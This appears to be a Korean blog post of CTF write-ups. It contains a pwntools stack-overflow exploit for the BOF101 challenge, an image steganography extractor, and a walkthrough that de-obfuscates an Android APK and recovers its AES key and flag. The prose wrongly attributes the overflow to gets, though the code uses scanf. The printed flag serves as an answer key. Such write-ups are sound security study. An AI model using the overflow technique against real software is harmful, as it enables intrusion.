BOF101
#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void printflag(){
char buf[32];
FILE* fp = fopen("/flag", "r");
fread(buf, 1, 32, fp);
fclose(fp);
printf("%s", buf);
fflush(stdout);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
fflush(stdout);
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
fflush(stdout);
exit(0);
}
return 0;
}
프로그램이 매우 간단하다. gets
로 인한 스택 버퍼오버플로우가 존재한다.
프로그램에서는 check 지역 변수를 0xdeadbeef로 그대로 유지하는지 체크한다. 버퍼오버플로우를 내고 check를 0xdeadbeef로 덮어준 뒤 return address를 주어진 printflag의 주소로 덮으면 된다.
버퍼의 크기는 140, check는 버퍼 다음에 있고, 그 뒤는 saved rbp, return address다. 따라서 아래와 같이 페이로드를 구성하면 된다.
#!/usr/bin/python
from pwn import *
# p = process("./bof101")
p = remote("bof101.sstf.site", 1337)
leak = int(p.recvline()[len("printflag()'s addr: ")+2:-1], 16)
log.success("leak : ", leak)
p.sendlineafter(": ", "A"*140+p32(0xdeadbeef)+p64(0)+p64(leak))
p.interactive()
My Stego
문제에서 ML 소스코드가 주어진다. 해당 소스코드를 보면 숨길 파일을 Sys.argv.(3)
으로 받아서 다음과 같이 파일을 숨김을 확인할 수 있다.
for y = 0 to img#height - 1 do
for x = 0 to img#width - 1 do
let color = img#get x y in
let r = color.r - (color.r land 1) + ((color.g lxor color.b lxor df#fread) land 1) in
img#set x y {r=r;g=color.g;b=color.b}
done;
done;
즉, 파일에서 1 비트씩 읽어와 이미지의 Red 채널에 xor로 숨기는 것을 확인할 수 있다. 따라서 아래 코드를 통해 파일을 얻을 수 있었다. (해당 문제가 튜토리얼 문제라서 풀이 코드가 주어졌었는데 해당 코드를 사용하였습니다.)
#!/usr/bin/python
from PIL import Image
import numpy as np
image = Image.open("challenge.bmp")
r, g, b = map(np.array, image.split())
binstr = "0b"
for a, b, c in zip(r, g, b):
for i in range(0, image.width):
binstr += str(int(a[i] ^ b[i] ^ c[i]) & 1)
with open("out", "wb") as f:
f.write(("%x"%eval(binstr)).decode('hex'))
Vault 101
안드로이드 문제로 apk 파일이 주어졌다. https://github.com/skylot/jadx 를 활용하여 앱을 디컴파일 하였다.
MainActivity에서 사용자가 넣은 입력을 받아 플래그인지 아래 루틴에서 체크한다.
@Override // b.c.a.b
public boolean a(String str) {
try {
int i = this.f874a + 1;
this.f874a = i;
if (i > 3) {
Class.forName(c.d(";È\u0003p¯
4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
return false;
} else if (str == null) {
return false;
} else {
byte[] b2 = b.c.a.a.b((byte[]) Class.forName(c.d(".®$\u000fß1Ç\u0003?Ú6ʶ\"", 1451800421)).getMethod(c.d("7Ì£\u0002rØ0X", -552283301), new Class[0]).invoke(str, new Object[0]));
Object invoke = Class.forName(c.d("aogrfle¯}qjì.Cbsl35", 823239689)).getMethod(c.d("$OX{Í\u0010", -2050089752), Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(c.d(";HCp¯\u0005tå¶ohõ%LRtó", -730536752)).getDeclaredField(c.d("\u0014ø¡\u0014", -1215097919)).get(null)).invoke(null, b2, Class.forName(c.d("pç\u000bfÆ´!\rÌ!BZ?Ë\u000egÌëq", -1393972808)).getDeclaredField(c.d("\u001aä\u0017Yï\u0004", 1778992991)).get(null));
Object newInstance = Class.forName(c.d("~jxe\u0005remY:Xrfb`c", 1356052543)).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
Object invoke2 = Class.forName(c.d("$Í\u001efÆ4\u0007:EH Í\u000e:ê>]-_", -248372756)).getMethod(c.d("&DÇ\u0003ÿ\u0016xg¬", 64103114), (Class) Class.forName(c.d("/BNt\u001fqç`ó1F_pÓ", -401453852)).getDeclaredField(c.d("\u0001ò\u0004D", 195131734)).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
return ((Boolean) Class.forName(c.d("zhs`-ddmu.Rwb`kf", -754317293)).getMethod(c.d("tø\u001auÅ®", 528601528), Class.forName(c.d("oâ5
º!OÈzä\u0016oæ ", -1620091986))).invoke(invoke2, newInstance)).booleanValue();
}
} catch (Throwable unused) {
throw new RuntimeException();
}
}
코드를 보면 메소드 이름이나 클래스 이름들이 obfuscated되어 있음을 확인할 수 있다. 해당 이름들을 확인하기 위해 각각에 대해 c.d를 실행하였다. (Java 환경이 세팅되어 있지 않아 손으로 일일이 실행하여 얻었다)
@Override // b.c.a.b
public boolean a(String str) {
try {
int i = this.f874a + 1;
this.f874a = i;
if (i > 3) {
Class.forName(c.d(";È\u0003p¯
4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
return false;
} else if (str == null) {
return false;
} else {
byte[] b2 = b.c.a.a.b((byte[]) Class.forName(java.lang.String).getMethod(getBytes, new Class[0]).invoke(str, new Object[0]));
Object invoke = Class.forName(android.util.Base64).getMethod(encode, Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(null, b2, Class.forName(android.util.Base64).getDeclaredField(NO_WRAP).get(null));
Object newInstance = Class.forName(java.lang.String).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
Object invoke2 = Class.forName(android.content.Context).getMethod(getString, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
return ((Boolean) Class.forName(java.lang.String).getMethod(equals, Class.forName(java.lang.Object)).invoke(invoke2, newInstance)).booleanValue();
}
} catch (Throwable unused) {
throw new RuntimeException();
}
}
b.c.a.a.b
를 실행한 뒤 해당 결과를 base64로 인코딩하고 값을 R.string.magic
과 비교하는 것을 확인할 수 있다. b.c.a.a.b
의 루틴은 아래와 같다.
public static byte[] b(byte[] bArr) {
try {
Object invoke = Class.forName(javax.crypto.Cipher).getMethod(getInstance, Class.forName(java.lang.String)).invoke(null, AES/CBC/PKCS5Padding);
Object newInstance = Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(Class.forName(c.d("NI", -1666818412)), Class.forName(java.lang.String)).newInstance(a.class.getDeclaredFields()[0].get(null), AES);
Object newInstance2 = Class.forName(javax.crypto.spec.IvParameterSpec).getConstructor(Class.forName(c.d("\u001aã", -1333368352))).newInstance(a.class.getDeclaredFields()[0].get(null));
Object obj = Class.forName(javax.crypto.Cipher).getDeclaredField(ENCRYPT_MODE).get(null);
Class.forName(javax.crypto.Cipher).getMethod(init, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null), Class.forName(java.security.Key), Class.forName(java.security.spec.AlgorithmParameterSpec)).invoke(invoke, obj, newInstance, newInstance2);
return (byte[]) Class.forName(javax.crypto.Cipher).getMethod(doFinal, Class.forName(c.d("_Á", -251609689))).invoke(invoke, bArr);
} catch (Throwable unused) {
throw new RuntimeException();
}
}
위 코드를 보게되면a.class.getDeclaredFields()[0]
를 받아와 AES의 key와 IV로 사용하는 것을 확인할 수 있다. 해당 값은 VaultService.onCreate
에서 세팅하는데, R.array.kind_of_magic
에서 각 원소들을 Base64 디코딩을 한 뒤 첫번째 글자들을 받아와 이를 a.class.getDeclaredFields()[0]
에 세팅한다. 해당 값들은 아래와 같다.
PARK
KOREAN
nut
JACK
3
BESTBUY
JACK
queen
yelp
music
GOLF
visa
KOREAN
zip
GOLF
2
첫번째 글자들을 연결한 PKnJ3BJqymGvKzG2
가 IV와 key에 해당되게 된다. 얻은 IV와 key를 이용하여 AES decrypt를 진행하면 플래그를 획득할 수 있다.
enc = magic
iv = "PKnJ3BJqymGvKzG2"
cipher = AES.new(iv, AES.MODE_CBC, iv )
print cipher.decrypt( magic )
SCTF{53CUr17Y_7Hr0U6H_085CUr17Y_15_N07_3N0U6H}
'보안 > CTF Writeups' 카테고리의 다른 글
Google CTF 2018 Proprietary Format write-up (0) | 2021.01.19 |
---|---|
HITCON 2019 Quals LazyHouse Writeup (0) | 2021.01.19 |